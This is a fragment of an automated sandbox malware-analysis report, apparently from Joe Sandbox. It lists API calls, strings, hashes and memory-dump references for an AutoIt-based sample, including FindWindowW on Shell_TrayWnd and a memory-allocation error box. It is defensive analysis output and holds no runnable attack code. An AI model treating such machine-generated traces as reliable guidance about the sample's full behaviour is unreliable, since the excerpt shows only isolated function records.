                              • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                              • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                              APIs
                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                              • PostMessageW.USER32(00000000), ref: 00442247
                                • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: FindMessagePostSleepWindow
                              • String ID: Shell_TrayWnd
                              • API String ID: 529655941-2988720461
                              • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                              • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                              • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                              • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                              APIs
                              • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Message_doexit
                              • String ID: AutoIt$Error allocating memory.
                              • API String ID: 1993061046-4017498283
                              • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                              • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                              • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                              • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E